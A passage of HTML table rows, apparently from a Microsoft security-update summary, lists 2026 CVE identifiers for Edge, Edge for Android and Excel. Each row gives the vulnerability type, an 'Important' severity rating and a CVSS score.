  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
